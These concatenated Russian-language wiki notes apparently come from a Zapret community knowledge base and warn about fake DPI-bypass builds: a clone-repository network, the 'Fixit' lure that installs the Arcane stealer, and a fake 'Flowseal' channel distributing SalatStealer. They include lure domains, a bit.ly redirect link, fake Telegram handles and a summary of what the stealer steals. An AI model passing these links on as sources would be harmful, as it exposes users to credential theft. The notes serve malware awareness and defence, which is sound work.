[VirusTotal](https://www.virustotal.com) и [ANY.RUN](https://any.run) самостоятельно — и не запускайте, если сомневаетесь. - 🚩 **Сеть одинаковых клонов под случайными аккаунтами.** Имена вроде `WestDriverComply`, `rapidcounttend`, `Constraintpletype`, `Grayflidivider`, `Petainamplifier` — сгенерированный мусор. У легального проекта одна каноничная страница, а не десяток копий под ботоводами. - 🚩 **Накрученные звёзды, совпадающие до единицы внутри кластера.** У семейства `discord-cdn-fix` — ровно по 66, у семейства `*-fix-2026` от `StalkerLightning` — ровно по 28. Когда «независимые» репозитории имеют одинаковое до числа количество звёзд, это бот-ферма, имитирующая популярность и доверие, а сами числа выдают разные «партии» накрутки. - 🚩 **Пачка неизвестных `.exe` вместо одного `winws.exe`.** Главное правило проверки из [[virus|каталога вирусных Zapret]]: в чистой сборке нет ни одного неизвестного исполняемого файла, ядро ровно одно — `winws.exe`. Здесь же пять `.exe` с маркетинговыми именами («Быстрый запуск», «Статус подключения»), чтобы пользователь не задумываясь кликнул. - 🚩 **Нет исходного кода.** В темах указан `Python`, но в репозитории нет ни одного `.py`, `.bat` или `.ps1` — только скомпилированные бинарники. Собрать самому или проверить, что внутри, невозможно. Легальный обход блокировок всегда open-source. - 🚩 **Социнженерия про антивирус.** README заранее объясняет, что «антивирус ругается ложно» и предлагает добавить файлы в исключения. У настоящего Zapret ложные срабатывания касаются только драйвера `WinDivert.dll` / `WinDivert64.sys`; если детект на переименованных `.exe` — это повод удалить файл, а не отключать защиту. - 🚩 **Payload спрятан и в релизе.** Отдельная раздача через Releases (`v1.1.8` «СКАЧАТЬ ТУТ») — то, что лежит в архиве релиза, может отличаться от файлов в репозитории и быть ещё «грязнее». ## Чем настоящий Zapret отличается от этой подделки | Признак | Легальный Zapret (bol-van / [[home\|ZapretGUI]]) | discord-cdn-fix / Bypass Ultimate | | --- | --- | --- | | Исходный код | Открыт, `.bat` / `.ps1`, можно собрать самому | Нет, только скомпилированные `.exe` | | Ядро | Один `winws.exe` | Пять неизвестных `.exe` | | Сборка | GitHub Actions из публичного кода, видна история | Бинарники неизвестного происхождения | | Аккаунт | Один каноничный проект | Сеть клонов под одноразовыми аккаунтами | | Звёзды | Органический рост (видно в Star History) | Накрутка, ровно по 66 на клон | | Антивирус | Детект только на `WinDivert` (драйвер) | Просьба отключить защиту / добавить в исключения | > [!tip] Быстрая проверка любой сборки > Открой [[virus|чек-лист проверки вирусных Zapret]]. Минимум: (1) есть ли открытый исходник; (2) только ли один `winws.exe` в папке; (3) не просят ли запускать `*.exe` вместо `*.bat`; (4) органические ли звёзды и живой ли автор. Любой неизвестный `.exe` рядом с ядром — стоп. ## Что делать, если запустил - [ ] Отключи интернет и не вводи пароли/коды до проверки — стилеры крадут cookies и пароли из браузеров. - [ ] Прогони систему альтернативным антивирусом (Defender, ESET) — российские антивирусы для этого не используй, они дают много ложных срабатываний по самим обходам блокировок. - [ ] Проверь автозагрузку и планировщик задач (`schtasks`) на незнакомые задачи — известные вирусные «запреты» закрепляются именно через `Microsoft\Windows\WindowsUpdate\…`-подобные задачи (см. разбор Discord NewFix в [[virus]]). - [ ] Смени пароли с **чистого** устройства, включи 2FA там, где её не было. - [ ] За помощью — в профильное сообщество, ссылки в [[virus|каталоге вирусных сборок]]. ## 📚 См. также - [[github-removes-clean-zapret-keeps-malware-august-2026|🎭 GitHub снёс чистые сборки Zapret, а вирусные оставил (11 августа 2026)]] — как эта схема развилась дальше: накрутка звёзд и коммитов плюс payload, зашитый прямо в `general.bat` - [[hidemydiscord-loader-august-2026|🎣 HideMyDiscord — загрузчик рядом с рабочим обходом]] — эволюция схемы: подделка перестала быть нерабочей - [[fixit-arcane-stealer-kaspersky-august-2026|🪤 Fixit — приманка для стилера Arcane]] — развитие приёма с файлами-пустышками: в репозитории нет даже вредоноса, только ссылка через сокращатель - [[virus|👾 Каталог вирусных сборок Zapret и как их проверять]] — этот клон-сеть стоит в одном ряду с PeekBot, SkyWinFo, Cactuz и Discord NewFix - [[download|Как установить настоящий Zapret из официального источника]] - [[home|🏠 ZapretGUI — главная]] — легальный проект, к которому подделка не относится - 🔗 [Issue #1130 у Flowseal про вирусы под видом Zapret](https://github.com/Flowseal/zapret-discord-youtube/issues/1130) — предупреждение о фейковых репозиториях и аккаунтах - 🔗 [VirusTotal](https://www.virustotal.com) и [ANY.RUN](https://any.run) — где проверить подозрительный файл самостоятельно --- --- date: 2026-08-11 tags: - zapret - вирусы - malware - безопасность - github - касперский aliases: - Fixit вирус - Fixit обход блокировок это развод - fixitlab.cc отзывы - Arcane Stealer что это - Fixit.bat что делает - Фиксит обход блокировок скачать - Касперский про Fixit - Прав ли Касперский про Zapret link: https://www.kaspersky.ru/blog/arcane-stealer-disguised-as-fixit-circumvention-tool/41491/ --- # 🪤 Fixit — приманка для стилера Arcane, а не обход блокировок. И где Касперский бывает прав ![[fixit-arcane-stealer-header.png]] > [!info] О чём заметка > «Fixit» подаётся как удобный обход блокировок YouTube, Discord и Telegram без VPN: красивый сайт, обещание «стабильность 100 %», кнопка «Скачать Fixit». Программы за этим нет — есть архив, при запуске которого на компьютер ставятся стилер **Arcane** (крадёт пароли, куки, переписки, кошельки) и майнер криптовалюты. Схему разобрал «Лаборатория Касперского»; здесь её содержание пересказано, ключевые факты перепроверены независимо, а заодно разобран более общий вопрос — почему в одних случаях детектам этого вендора стоит верить, а в других его же предупреждение о «вирусе» ничего не значит. Каталог других вирусных сборок — в [[virus|заметке о вирусах в Zapret]]. *Fixit обход блокировок — это вирус? Что делает Fixit.bat, стоит ли качать с fixitlab.cc, что за Arcane Stealer и прав ли Касперский, когда ругается на Zapret — разбор на 11 августа 2026.* ## TL;DR - **Fixit — не программа, а приманка.** По формулировке Касперского, единственное её предназначение — заставить пользователя скачать архив и самому установить вредонос с помощью BAT-файла. - Домены кампании `fixitlab[.]cc` и `fix-it[.]cc` зарегистрированы 21 и 20 февраля 2026 — это подтверждается публичным WHOIS и совпадает с началом волны роликов на YouTube (не менее 20 видео, суммарно свыше 20 000 просмотров на момент обнаружения). - Внутри архива: текстовая инструкция, **легальный** `WinRAR.exe`, зашифрованный `data.bin` и `Fixit.bat`, который всё это расшифровывает и запускает. Антивирусу почти нечего ловить до момента запуска — вредоносная часть лежит зашифрованной. - Ставятся сразу две вещи: стилер **Arcane** и майнер Monero, а на экране в это время крутится «прогресс установки утилиты». - Arcane забирает пароли, куки и банковские карты из браузеров (умеет расшифровывать браузерные ключи), данные Telegram, Discord, Signal, Viber, Steam, Epic Games, Riot, Battle.net, криптокошельки, `ngrok`, FileZilla, Outlook, скриншоты экрана и **пароли сохранённых Wi-Fi-сетей**. - По телеметрии Касперского жертвами стали сотни пользователей из России; сайт кампании на момент публикации разбора продолжал работать и продвигаться. - Та же схема живёт и на GitHub: репозитории `limitministerflex/obhod-zapreta-whitelists` и `SpikeServiceForce/polaris-vpn-pro-obhod` вообще не содержат программы — только ссылку через сокращатель `bit.ly` на домен-двойник `github[.]guru`. Аккаунты зарегистрированы 6 июня 2026 с интервалом **1 минута 36 секунд**. - Про антивирус: в этой конкретной истории Касперский прав, и его признаки («не запускай BAT-файл», «не отключай защиту») универсальны. Но тот же вендор помечает как угрозу и **сам открытый Zapret** — там речь о совсем другом типе детекта, и путать их нельзя. Разбор различия — в разделе «Где Касперский прав, а где нет». > [!warning] Что здесь чьё > Описание кампании, состав архива, список украденных данных и оценка числа жертв — **пересказ разбора «Лаборатории Касперского»**, а не собственное исследование; проверить это независимо (например, распаковкой образца) в рамках заметки не удалось, поэтому источник указан явно. Самостоятельно перепроверены и приведены с датами: WHOIS обоих доменов, их текущая доступность, устройство связанных GitHub-репозиториев и цепочка ссылок из релиза. Все проверки сделаны 11 августа 2026. ## Как выглядит приманка Сильная сторона схемы — оформление. Это не кривой сайт с кнопкой «скачать.exe», а аккуратный лендинг с продуктовой версткой: обещание доступа к YouTube, Discord и Telegram «без VPN, без лишних действий», плашки «Доступ к любимым сервисам», «Без потери скорости», карточка «Fixit Engine» с показателями «Стабильность 100 %», «Задержка низкая», «Режим без VPN». ![[fixit-landing-fixitlab-2026-08.webp]] Ни одно из этих утверждений не описывает реальную программу — проверить «стабильность 100 %» не на чем, потому что продукта не существует. Формулировки при этом подобраны точно под запрос человека, уставшего от блокировок: не «взломай», а «просто запусти и пользуйся». **Проще говоря:** злоумышленники вложились не в код, а в дизайн доверия. Нарисовать интерфейс с цифрами «100 %» дешевле, чем написать обход DPI, а работает на неподготовленного пользователя лучше. Продвижение шло через YouTube: по данным Касперского, с конца февраля 2026 на разных каналах вышло не менее 20 роликов о Fixit, набравших в сумме более 20 000 просмотров. Ролик снимает главный вопрос новичка — «а это точно работает?»: на видео что-то запускается, что-то открывается, ссылка лежит в описании. ## Что происходит после скачивания В архиве лежат четыре вещи: текстовая инструкция, настоящий исполняемый файл WinRAR, зашифрованный файл `data.bin` и `Fixit.bat`. Вредоносного кода в привычном виде — отдельного `.exe` с подозрительным именем — там нет. Работу выполняет пользователь. Инструкция просит запустить `Fixit.bat`; тот распаковывает и расшифровывает `data.bin` с помощью приложенного WinRAR и запускает результат. Касперский отдельно отмечает, на кого рассчитан такой сценарий: пошаговые инструкции с «сначала отключи защиту, потом запусти файл» привычны тем, кто ставил пиратские копии игр и взломанные программы. На экране в это время показывается индикатор установки «утилиты». Фактически ставятся две программы: стилер Arcane и майнер криптовалюты Monero — её выбирают за то, что транзакции труднее отследить. > [!example] На пальцах > Схема повторяет фокус с посылкой: коробка сама по себе безобидна, отпечатков на ней нет, замок вскрывает получатель — своими руками и по приложенной записке. Для антивируса, который смотрит файлы на диске, в архиве нет исполняемого вредоноса: есть легальный архиватор и зашифрованные данные. Вредоносным всё становится в момент, когда пользователь выполняет инструкцию. Именно поэтому [[virus|общий чек-лист проверки сборок]] содержит пункт про запароленные архивы и просьбы отключить антивирус: шифрование содержимого нужно не для приватности, а чтобы защита не увидела начинку до запуска. ## Что крадёт Arcane Arcane — стилер, впервые замеченный в конце 2024 года; в новой волне, по описанию Касперского, функциональность кражи не изменилась, но переработан механизм противодействия анализу в антивирусных песочницах. Собираемое им можно разложить на четыре группы. **Учётные данные из браузеров.** Логины, пароли, файлы cookie, данные банковских карт. Отдельно отмечено, что стилер умеет расшифровывать ключи шифрования браузеров — то есть встроенная защита сохранённых паролей его не останавливает. **Данные приложений.** VPN-клиенты, мессенджеры (Telegram, Discord, Signal, Viber и другие), игровые клиенты (Steam, Epic Games, Riot Client, Battle.net), криптокошельки (Ethereum, Electrum, Atomic, Coinomi), сетевые утилиты (`ngrok`, FileZilla, DynDNS), почтовый клиент Outlook. **Слепок системы.** Версия Windows и её лицензионный ключ, имя пользователя, местоположение, характеристики процессора, памяти, видеокарты, список дисков и USB-устройств, перечень установленных антивирусов. **Всё остальное, до чего дотянулся.** Скриншоты экрана, список запущенных процессов, данные о доступных Wi-Fi-сетях **вместе с паролями**. Практический смысл этого списка: украденной куки достаточно, чтобы зайти в аккаунт без пароля и без второго фактора, а угнанная сессия Telegram или Discord превращается в рассылку той же приманки вашим контактам — от вашего имени, что резко повышает доверие следующей жертвы. > [!danger] Если запускали Fixit > Считайте скомпрометированными все аккаунты, в которые вы входили с этого компьютера. Порядок действий тот же, что в разделе «Что делать, если запустил» [[discord-cdn-fix-fake-repos-june-2026|разбора сети клонов]]: отключить интернет, проверить систему антивирусом, сменить пароли **с другого, чистого устройства**, завершить все активные сессии в Telegram, Discord и почте, включить двухфакторную аутентификацию, проверить автозагрузку и планировщик задач. Отдельно смените пароль домашней Wi-Fi-сети — он тоже в списке того, что забирает Arcane. ## Что удалось проверить самостоятельно Разбор вендора — это утверждение, которое стоит уметь проверить хотя бы частично. Публичный WHOIS доступен любому и подтверждает даты регистрации доменов (проверка 11 августа 2026): | Домен | Дата регистрации | Регистратор | Состояние на 11 августа 2026 | | --- | --- | --- | --- | | `fix-it[.]cc` | 20 февраля 2026, 16:35 UTC | NICENIC INTERNATIONAL GROUP | резолвится, стоит за Cloudflare, отвечает `403` на прямой запрос | | `fixitlab[.]cc` | 21 февраля 2026, 13:54 UTC | CNOBIN INFORMATION TECHNOLOGY (Гонконг) | из сети проверки DNS-запрос завершается ошибкой `SERVFAIL`; лендинг при этом продолжает открываться у пользователей | Оба домена оплачены ровно на год — до 20 и 21 февраля 2027. Это типичный горизонт планирования такой кампании: год существования достаточно, а дальше домен просто бросают. **Возраст домена — самый дешёвый способ проверки, и он работает всегда.** Настоящий инструмент обхода блокировок с живым сообществом не может иметь домен, зарегистрированный полгода назад и никем не упоминавшийся раньше. Смотрится одной командой: ```bash whois fixitlab.cc | grep -i "creation date" ``` Расхождение в доступности `fixitlab[.]cc` (у одних открывается, у других не резолвится) объясняется по-разному — от гео-зависимой выдачи DNS до блокировок на стороне провайдера, — и в рамках проверки причину установить не удалось. Важно другое: **недоступность сайта из одной сети не означает, что кампания закончилась**. ## Та же схема на GitHub: ссылка вместо программы Fixit раздаётся с собственного сайта, но у той же экономики есть ветка на GitHub — и там приём ещё аккуратнее. Разберём `limitministerflex/obhod-zapreta-whitelists` (создан 21 июля 2026), описание которого обещает «свободный доступ к сети», «высокую скорость» и «стабильную работу приложений без сложных ручных настроек». Особенность в том, что **вредоносного файла в репозитории нет вообще**. Внутри лежит имитация проекта: - три файла `contributing.md`, `license.md` и `security.md` **ровно по 18 237 байт каждый** — это один и тот же текст-приманка с бейджами «Загрузки 40K+» и «Рейтинг 4.8/5», продублированный под тремя именами (README при этом отсутствует); - `api.rs` на 534 668 байт — сгенерированный код на Rust, где функции называются `handler_pPLg0P`, `handler_GvjkD3` и каждая делает одно и то же: обрезает пробелы у строки и возвращает её длину; - пустые папки `modules`, `plugins`, `middleware`, `utils`, `src` — каркас «серьёзного продукта». В разделе релизов вместо файла — картинка-кнопка «Download» со ссылкой на сокращатель `bit.ly`. Проверка перехода 11 августа 2026: `bit.ly/4wNlrHk` ведёт на `github[.]guru/s/CQoYLz7a` — домен, подобранный так, чтобы в адресной строке читалось знакомое слово «github». На момент проверки этот домен уже не резолвится (`NXDOMAIN`), то есть цепочку либо перенастроили, либо бросили. **Проще говоря:** на GitHub выложена вывеска, а товар лежит по ссылке, которую владелец меняет в любой момент из своего кабинета в сокращателе. Сканировать площадке нечего — вредоносного кода в репозитории нет. Жалоба на конкретный файл тоже не сработает: файла нет. Что эти раздачи выдаёт — так это конвейерная природа аккаунтов: | Аккаунт | Зарегистрирован | Мусорный репозиторий | «Продуктовый» репозиторий | | --- | --- | --- | --- | | `limitministerflex` | 6 июня 2026, 04:37:05 UTC | `uhjytukq` (04:39:42) | `obhod-zapreta-whitelists` (21 июля 2026) | | `SpikeServiceForce` | 6 июня 2026, 04:38:41 UTC | `awlgzepe` (04:41:07) | `polaris-vpn-pro-obhod` (21 июля 2026) | Два «независимых» автора зарегистрированы с разницей в 1 минуту 36 секунд, у каждого сразу создан репозиторий со случайным набором букв, а витрины подняты в один и тот же день, полтора месяца спустя. Шаблон файлов-наполнителей у них общий, отличается только размер: 18 237 байт против 19 807. ### Масштаб: 39 аккаунтов за шесть минут одного утра Эти двое — не пара энтузиастов, а два выхода одного конвейера, и его размер измеряется. В окне **04:35–04:41 UTC 6 июня 2026** — шесть минут — на GitHub зарегистрировано 65 аккаунтов, имеющих ровно по два публичных репозитория. Из них **39 подтверждённо принадлежат этой фабрике**: у каждого мусорный репозиторий из восьми случайных строчных букв, созданный в то же утро, и «продуктовый» репозиторий, поднятый 20–22 июля. То есть примерно шесть из десяти регистраций в этом шестиминутном окне сделаны одной фабрикой. Схема работы видна по датам: массовая регистрация 6 июня → полтора месяца «отлёжки», чтобы аккаунты не выглядели новыми → залповая публикация витрин 20–22 июля. Приманки при этом разные, обход блокировок — лишь одна из витрин. Среди проверенных: «настройка резидентных прокси», IPTV-плееры и списки каналов, «бесплатные аккаунты Netflix», генерация видео нейросетью, загрузчики с медиахостингов, торрент-поиск. Общий у них не текст, а **балласт**: одни и те же байт-в-байт файлы-наполнители кочуют между репозиториями разных «авторов» — `api.rs` на 534 668 байт, `auth_51.js` на 132 260 байт, `api.dll` на 772 197 байт, `.gitignore` на 384 байта. Совпадает и способ доставки: релиз всегда называется по шаблону `<имя-репозитория>-download`, файлов в нём нет, внутри — один бейдж `shields.io` со ссылкой на `bit.ly`. У всех десяти проверенных раздач сокращатель ведёт на два домена-двойника GitHub: **`github[.]guru`** (семь случаев) и **`githubguru[.]at`** (три), путь вида `/s/<восемь символов>`. > [!important] Почему это важнее, чем кажется > Один вредоносный репозиторий — это инцидент, который закрывается жалобой. Сорок аккаунтов, зарегистрированных за шесть минут и активированных через полтора месяца, — это инфраструктура, устойчивая к жалобам по построению: удаление одной витрины не задевает остальные, а конечный адрес меняется в кабинете сокращателя, вообще без правки репозиториев. Именно поэтому «пожаловаться на репозиторий» — не решение проблемы, а лишь уборка одной вывески. Тот же приём с одинаковыми по размеру пустышками разбирался в [[discord-cdn-fix-fake-repos-june-2026|сети клонов Bypass Ultimate]], а более грубые варианты — с payload прямо внутри `.bat` — в [[github-removes-clean-zapret-keeps-malware-august-2026|разборе того, что GitHub удалил и что оставил]]. > [!tip] Правило, которое закрывает весь этот класс раздач > Если кнопка «Скачать» ведёт не на релиз того же репозитория, а на сокращатель ссылок (`bit.ly`, `clck.ru`, `t.ly`), сторонний сайт или похожий по написанию домен — дальше можно не разбираться. Открытый проект отдаёт файлы оттуда же, где лежит его код; посреднику незачем стоять в этой цепочке, кроме как ради возможности незаметно менять конечный адрес. ## Где Касперский прав, а где нет Позиция «антивирус ругается — значит вирус» и обратная ей «Касперский всегда врёт про обходы» одинаково бесполезны. Разбор Fixit — удобный случай показать, где проходит граница, потому что обе ситуации касаются одного вендора и одной темы. ### Где прав В истории с Fixit фактическая часть проверяется и сходится. Даты регистрации доменов совпали с публичным WHOIS; описание схемы внутренне непротиворечиво и совпадает с уже задокументированными в этом хранилище раздачами (зашифрованный архив, инструкция «запусти файл», отдельная работа руками пользователя). Оценка «сотни жертв» опирается на телеметрию продукта — это данные, которых у стороннего наблюдателя нет, и проверить их независимо нельзя; принимать их стоит как оценку вендора, а не как измеренный факт. Универсальные признаки, которые вендор формулирует по итогам разбора, верны и не зависят от того, чей это антивирус: - легальная программа **не требует отключать защиту** перед установкой; - легальная программа **не просит запускать BAT-файл** или вставлять строку в командную строку; - свежезарегистрированный домен под «известную утилиту» — красный флаг сам по себе; - рекламный ролик на YouTube со ссылкой в описании — не доказательство работоспособности. Эти четыре пункта закрывают большую часть подделок под обход блокировок — включая те, что разобраны в [[flowseal-fake-youtube-salatstealer-july-2026|истории с фейковым «Flowseal» и стилером SalatStealer]]. ### Где предупреждение вендора не означает вирус Тот же антивирус выдаёт предупреждения и на **настоящий** Zapret. Природа этих срабатываний принципиально другая, и разница видна по имени детекта. Ядро обхода работает через драйвер `WinDivert`, который перехватывает сетевые пакеты. Это легальный общедоступный компонент, применяемый в файрволах и анализаторах трафика, но по классификации многих вендоров он попадает в класс потенциально нежелательных программ. Отсюда детекты вида `Not-a-virus:RiskTool.Multi.WinDivert` — в самом имени написано «не вирус». Аналогично устроены имена с суффиксом `!ml`: это вердикт машинного обучения по поведению, а не разбор образца аналитиком. Практическое следствие для пользователя в России описано в [[virus|основной заметке о вирусах в Zapret]]: из-за таких срабатываний рабочая сборка удаляется из системы, и хранилище рекомендует пользоваться антивирусами, которые не трогают инструменты обхода, либо добавлять папку в исключения. Это рекомендация об удобстве и работоспособности, а не утверждение, что вендор фальсифицирует детекты. ### Как отличить одно от другого за минуту | Признак | «Верить стоит» | «Скорее ложное срабатывание» | | --- | --- | --- | | Имя детекта | именованное семейство: `SalatStealer`, `Arcane`, `Vidar`, `trojan.*` | `RiskTool`, `Not-a-virus`, `PUA`, суффикс `!ml` | | Согласие вендоров на VirusTotal | десятки вендоров с близкими именами | единичные срабатывания, имена расходятся | | На какой файл | на исполняемый файл сборки или на распакованное из архива | на `WinDivert.dll` / `WinDivert64.sys` | | Поведение при анализе | обращения к куки браузеров, кошелькам, автозагрузке | только перехват сетевых пакетов | | Как распространялось | архив с паролем, инструкция «отключи антивирус», ссылка из ролика | официальный репозиторий с открытым исходным кодом | Верхняя строка таблицы — самая полезная: **читайте имя детекта, а не только цвет плашки**. `Trojan:Win32/Arcane` и `Not-a-virus:RiskTool.Multi.WinDivert` — это два разных утверждения, и второе не значит «у вас вирус». Общий вывод получается неудобным для обеих крайностей: конкретный разбор конкретной кампании может быть точным и полезным независимо от того, как тот же вендор относится к инструментам обхода в целом. Проверять надо утверждение, а не источник — WHOIS, хэши, консенсус вендоров и поведение файла доступны любому. ## Чек-лист: как отличить приманку от настоящего обхода - [ ] **Есть ли исходный код.** У настоящего обхода — открытые `.bat`, `.ps1`, конфиги, которые можно прочитать. У приманки — только готовый архив. - [ ] **Куда ведёт кнопка «Скачать».** Релиз того же репозитория — нормально; сокращатель ссылок, сторонний сайт, домен-двойник — стоп. - [ ] **Возраст домена.** `whois` и дата регистрации: свежий домен под «популярную утилиту» — почти всегда подделка. - [ ] **Просят ли отключить антивирус или запустить BAT.** Ни одна честная сборка этого не требует. - [ ] **Запаролен ли архив.** Пароль на архиве с бесплатной утилитой нужен только для того, чтобы защита не видела содержимое. - [ ] **Что показывает поиск по названию.** У настоящего проекта есть история обсуждений, issue, форки и упоминания старше пары месяцев. - [ ] **Совпадает ли источник с официальным.** Ссылки проекта — в [[Zapret/download|инструкции по официальным источникам]]; всё найденное по рекламе считайте неизвестным происхождением. ## 📚 См. также - [[virus|👾 Каталог вирусных сборок Zapret, ложные срабатывания и чек-лист проверки]] — почему детект на `WinDivert` не равен вирусу - [[hidemydiscord-loader-august-2026|🎣 HideMyDiscord — рабочий обход с загрузчиком в комплекте]] — ещё один аккаунт той же фабрики, раздача спрятана в профильном репозитории GitHub - [[github-removes-clean-zapret-keeps-malware-august-2026|🎭 GitHub снёс чистые сборки Zapret, а вирусные оставил]] — соседняя ветка той же экономики: накрутка звёзд и payload внутри `general.bat` - [[flowseal-fake-youtube-salatstealer-july-2026|🥗 Фейковый «Flowseal» на YouTube со стилером SalatStealer]] — та же схема раздачи через видеоролики - [[discord-cdn-fix-fake-repos-june-2026|🪪 Сеть клонов Bypass Ultimate / discord-cdn-fix]] — файлы-пустышки одинакового размера и накрученные звёзды - [[Zapret/download|Как скачать Zapret из официальных источников]] - 🔗 [Разбор кампании у «Лаборатории Касперского»](https://www.kaspersky.ru/blog/arcane-stealer-disguised-as-fixit-circumvention-tool/41491/) — первоисточник описания Arcane и схемы с Fixit - 🔗 [VirusTotal](https://www.virustotal.com) — где смотреть, сколько вендоров и с какими именами детектят конкретный файл --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование доступно в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/virus/fixit-arcane-stealer-kaspersky-august-2026.md) · [скачать весь репозиторий одним zip-архивом](https://git.zapret.moe/zapretdiscordyoutube/todo/archive/main.zip). --- --- date: 2026-07-10 tags: - zapret - flowseal - вирусы - malware - безопасность - youtube aliases: - Фейковый Flowseal - Flowseal вирус SalatStealer - Флоусил фейк на YouTube - FlowsealObhod вирус - Dey-K Flowseal - flowsealgithub - fl0wseal - FlowsealObhod - Flowseal официальный телеграм канал - Flowseal github ОБХОД ДИСКОРД link: https://www.virustotal.com/gui/file/fc125455b1e1f2a409699e89ef18bd6bb3b2959bb67ca7a131f470cca6f37858 --- # 🥗 [Фейковый «Flowseal» на YouTube (@Dey-K) раздаёт стилер SalatStealer — вирус под видом сборки флоусил (июль 2026)](https://www.youtube.com/watch?v=AR90YnDX77U&t=2s) > [!info] О чём заметка > На YouTube существует канал `@Dey-K`, который выдаёт себя за «оффициальный ютуб-канал Flowseal Github» и раздаёт архив `FlowsealObhod1.8.1.rar` — подделку под популярную сборку [[Zapret/about|Zapret]] от Flowseal (флоусил). Внутри вместо обхода блокировок — стилер **SalatStealer** (по классификации антивирусных вендоров; иногда детектится как Vidar). К настоящему Flowseal и его репозиторию `zapret-discord-youtube` этот канал отношения не имеет. Разбор особенно актуален после [[flowseal-zapret-discord-youtube-block-july-2026|приостановки аккаунта Flowseal на GitHub 10 июля 2026]] — люди массово ищут «запасные» источники сборки и натыкаются на такие фейки. *Flowseal вирус? Фейковый флоусил на ютубе, FlowsealObhod скачать, официальный телеграм канал Flowseal — его НЕ СУЩЕСТВУЕТ: каналы FlowsealObhod, flowsealgithub, fl0wseal и «Flowseal github ОБХОД ДИСКОРД» — подделки, раздающие стилер SalatStealer. Как отличить настоящий Flowseal от фейка — разбор от 10 июля 2026.* ## ==Подробная информация доступна здесь https://www.youtube.com/watch?v=AR90YnDX77U== ## TL;DR - YouTube-канал «Flowseal» (`youtube.com/@Dey-K`, ~4 тыс. подписчиков, 18 видео) — **фейк**, маскирующийся под автора сборки zapret-discord-youtube; ведёт на поддельные Telegram-каналы `t.me/flowsealgithub` и `t.me/fl0wseal` (ссылки намеренно даны некликабельным текстом — не переходите). - Самый крупный фейковый канал — `t.me/FlowsealObhod` (~9,3 тыс. подписчиков): называет себя «официальным каналом Flowseal», раздаёт запароленные архивы выдуманных версий 2.x–4.x и прикрывается новостью о бане GitHub. **У настоящего Flowseal своего Telegram-канала не было.** - Раздаваемый архив `FlowsealObhod1.8.1.rar` копирует структуру настоящей сборки (`general.bat`, `service.bat`, папки `bin`/`lists`), но вместо ядра `winws.exe` содержит неизвестный `Windiver.exe` на ~3,5 МБ — это и есть вирус. - Microsoft Defender детектит файл как `Trojan:Win32/SalatStealer!pz` / `SalatStealer.SMX!MTB`, иногда как `Vidar.MCQ!MTB` — по наблюдениям, это один и тот же зловред под разными именами вендоров. - На VirusTotal файл помечен **55 из 72 вендоров**, сводный вердикт `trojan.salat/salatstealer`; внутреннее имя файла — `winlogon.exe`, то есть вирус маскируется под системный процесс Windows. - Это **не** ложное срабатывание на драйвер WinDivert (как бывает у настоящего Zapret — см. [[virus|разбор ложных детектов]]): здесь именованный вердикт «стилер» у десятков вендоров единогласно. > [!danger] Не скачивайте и не запускайте ничего с этого канала > Стилер (stealer) — класс вирусов, который крадёт пароли, cookies, сессии Telegram/Discord и криптокошельки с заражённого компьютера. Если уже запускали архив — переходите сразу к разделу «Что делать, если запустил». > [!warning] Источник разбора > Скриншоты и анализ — от Telegram-канала «Вирусы в Запрет РЕАЛЬНЫ? (или нет)» (https://t.me/zapretvirus, 10 июля 2026), который каталогизирует вирусные подделки под Zapret. Хеш файла и вердикты можно перепроверить самостоятельно на [VirusTotal](https://www.virustotal.com/gui/file/fc125455b1e1f2a409699e89ef18bd6bb3b2959bb67ca7a131f470cca6f37858). ## Как выглядит фейк Канал использует имя «Flowseal», в описании называет себя «Оффициальный ютуб-канал Flowseal Github» и публикует ролики «ОБХОД БЛОКИРОВКИ ДИСКОРД | ОБХОД ДС | ДИСКОРД НЕ РАБОТАЕТ». Судя по датам роликов (7–9 месяцев на момент скриншота), канал существует примерно с конца 2025 года — то есть фейк не создан на волне приостановки GitHub-аккаунта, а паразитирует на имени Flowseal давно: ![[flowseal-fake-youtube-dey-k-2026-07.png]] Настоящий Flowseal распространяет сборку через GitHub-репозиторий `Flowseal/zapret-discord-youtube` (на 10 июля 2026 временно недоступен — см. [[flowseal-zapret-discord-youtube-block-july-2026|разбор приостановки]]) и официальные зеркала на SourceForge. Ссылок на «официальный YouTube-канал» в его репозитории не было. ## Фейковые Telegram-каналы: «Flowseal github ОБХОД ДИСКОРД» > [!danger] Некликабельные адреса — специально > Поддельные каналы: `t.me/flowsealgithub`, `t.me/fl0wseal` (во втором вместо буквы «o» — ноль, классический тайпсквоттинг) и `t.me/FlowsealObhod` — самый крупный, о нём ниже отдельно. Адреса приведены текстом, чтобы эта заметка находилась поиском по ним, — **не переходите и ничего оттуда не скачивайте**. С YouTube-канала жертву ведут в Telegram-канал «Flowseal github ОБХОД ДИСКОРД», где и лежит сам заражённый архив. Посты старательно имитируют стиль настоящих changelog-ов сборки zapret-discord-youtube: нумерованные списки изменений, реальные названия стратегий (ALT6, FAKE TLS AUTO ALT2, TLS MOD AUTO), упоминания `service.bat` и game filter — всё это скопировано из настоящих релизов, чтобы пост выглядел компетентно. У постов больше 10 тысяч просмотров: ![[flowseal-fake-telegram-post-181-2026-07.png]] ![[flowseal-fake-telegram-post-180-2026-07.png]] Типичные тексты-приманки из этих каналов (приведены дословно — если вы нашли эту заметку поиском по такому тексту, перед вами вирусная раздача): > [!quote] Пост с `FlowsealObhod1.8.1.rar` > «Обновление обхода. Если у вас до этого не работал запрет😭 и вы находитесь на юге РФ☀️, теперь всё должно заработать.🥰 1. Добавлено 2 новых стратегии (ALT6 и FAKE TLS AUTO ALT2). 🛡 2. Game filter теперь распространяется и на TCP ✏️ 3. При использовании Switch Game Filter в service.bat добавлено уведомление о необходимости перезапуска. 🥸» > [!quote] Пост с `FlowsealObhod1.8.0.rar` > «Полноценное обновление обхода. Теперь всё должно работать в штатном режиме как и до этого🖥. Я безумно рад поддержке каждого из вас! 🥰Если бы не вы, то вероятнее всего апдейт бы задержался на несколько недель… 1. Обновлён список заблокированных подсетей by @V3nilla… 2. Добавлен обход для игр (и сервисов), использующих UDP на портах выше 1023… 8. Новая стратегия — FAKE TLS MOD AUTO ALT. ✨» ### Самый крупный фейк: канал «FlowsealObhod» на 9 тысяч подписчиков Отдельного разбора заслуживает канал `t.me/FlowsealObhod` («Flowseal [Обход дискорда и ютуба/Нейросети]», ~9,3 тыс. подписчиков на 10 июля 2026) — именно его чаще всего принимают за настоящий, и люди регулярно спрашивают: «это ориг или у Flowseal нет канала?» Ответ: **у настоящего Flowseal официального Telegram-канала не было** — в его 